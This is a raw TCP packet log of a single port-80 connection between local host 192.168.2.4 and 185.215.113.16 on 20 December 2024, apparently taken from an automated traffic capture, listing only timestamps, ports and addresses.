Dec 20, 2024 11:12:23.963406086 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.963449955 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.963496923 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.964442968 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.964492083 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.964567900 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.964616060 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.965579033 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.965626001 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.965702057 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.965749025 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.966728926 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.966778040 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.966840982 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.966886997 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.967952013 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.968000889 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.968375921 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.968425035 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.969003916 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.969052076 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.969130993 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.969177008 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.970119953 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.970166922 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.970243931 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.970290899 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.971271992 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.971319914 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.971405029 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.971453905 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.972481966 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.972532034 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.972532988 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.972577095 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.973530054 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.973573923 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.973604918 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.973650932 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.974668980 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.974720955 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.974798918 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.974843979 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.975828886 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.975877047 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.975943089 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.975989103 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.976949930 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.976999044 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.977057934 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.977102995 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.978080034 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.978127956 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.978277922 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.978323936 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.979224920 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.979273081 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.979366064 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.979413986 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.980336905 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.980385065 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.112941980 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.113054037 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.113111973 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.113171101 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.113223076 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.113270998 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.114290953 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.114402056 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.114459038 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.115446091 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.115509987 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.115569115 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.116463900 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.116548061 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.116679907 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.116730928 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.117727041 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.117799997 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.117805004 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.117851019 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.118844986 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.118988037 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.119043112 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.119088888 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.120027065 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.120063066 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.120075941 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.120110989 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.121114969 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.121166945 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.121212006 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.121258020 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.122227907 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.122275114 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.122353077 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.122401953 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.123387098 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.123434067 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.123508930 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.123555899 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.124525070 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.124573946 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.124660969 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.124710083 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.125668049 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.125716925 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.125761032 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.125807047 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.126776934 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.126871109 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.126899958 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.126948118 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.127964020 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.128010035 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.128016949 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.128060102 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.129049063 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.129162073 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.129215002 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.130199909 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.130225897 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.130250931 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.130264997 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.131352901 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.131402969 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.131460905 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.131514072 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.132462025 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.132586002 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.132643938 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.133645058 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.133744001 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.133789062 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.134705067 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.134843111 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.134896040 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.135845900 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.135900974 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.135956049 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.136991024 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.137042999 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.137135029 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.138127089 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.138181925 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.138194084 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.138242960 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.139264107 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.139389992 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.139440060 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.140453100 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.140568018 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.140613079 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.141529083 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.141578913 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.141640902 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.141906023 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.142657042 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.142704964 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.142769098 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.142816067 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.143847942 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.143901110 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.143903017 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.143949986 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.144932985 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.144993067 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.145056963 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.145103931 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.146064997 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.146203995 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.146270037 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.147202015 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.147361994 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.147413015 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.148314953 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.148363113 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.148556948 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.149502039 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.149547100 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.149931908 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.150681019 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.150748014 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.150753975 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.150798082 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.151839972 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.151896954 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.151946068 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.152937889 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.152997971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.153047085 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.154531956 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.154581070 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.154633045 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.155246973 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.155303955 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.155311108 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.156404018 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.156464100 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.156492949 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.157445908 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.157495975 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.157578945 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.157624006 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.158562899 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.158694029 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.158742905 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.159754038 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.159918070 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.159966946 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.160938025 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.160990953 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.161070108 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.161988974 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.161992073 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.162029028 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.162204981 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.162251949 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.163170099 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.163220882 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.163302898 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.163355112 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.164343119 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.164386988 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.164396048 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.164442062 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.165379047 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.165431976 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.165513039 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.165560007 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.166511059 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.166646957 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.166692019 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.167800903 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.167941093 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.167989016 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.168787956 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.168833017 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.168840885 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.169945955 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.169960022 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.169986963 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.170018911 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.170062065 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.171092987 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.171142101 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.171225071 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.171269894 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.172178984 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.172224045 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.305258989 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.305438042 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.305520058 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.305798054 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.305864096 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.305919886 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.306905031 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.307029963 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.307089090 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.308093071 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.308145046 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.308163881 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.309159040 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.309212923 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.309309959 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.309900045 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.310286045 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.310435057 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.310489893 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.311539888 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.311693907 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.311747074 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.312568903 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.312617064 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.312637091 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.313703060 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.313755989 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.313832998 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.313905954 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.314842939 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.314940929 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.314991951 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.315975904 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.316095114 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.316149950 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.317118883 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.317267895 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.317321062 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.318296909 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.318387985 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.318439007 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.319402933 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.319452047 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.319574118 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.320571899 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.320625067 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.320673943 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.321693897 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.321746111 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.321747065 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.321795940 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.322813988 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.322942972 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.322993040 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.323981047 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.324170113 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.324232101 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.325048923 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.325098991 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.325177908 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.326208115 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.326260090 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.326338053 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.327337027 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.327389002 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.327421904 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.327466011 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.328560114 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.328668118 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.328722000 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.329597950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.329823971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.329874992 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.330741882 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.330847979 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.330900908 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.331868887 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.331918955 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.331988096 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.333018064 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.333070040 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.333115101 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.334142923 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.334177017 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.334197998 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.334255934 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.334304094 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.335288048 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.335335970 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.335401058 CET	80	49793	185.215.113.16	192.168.2.4
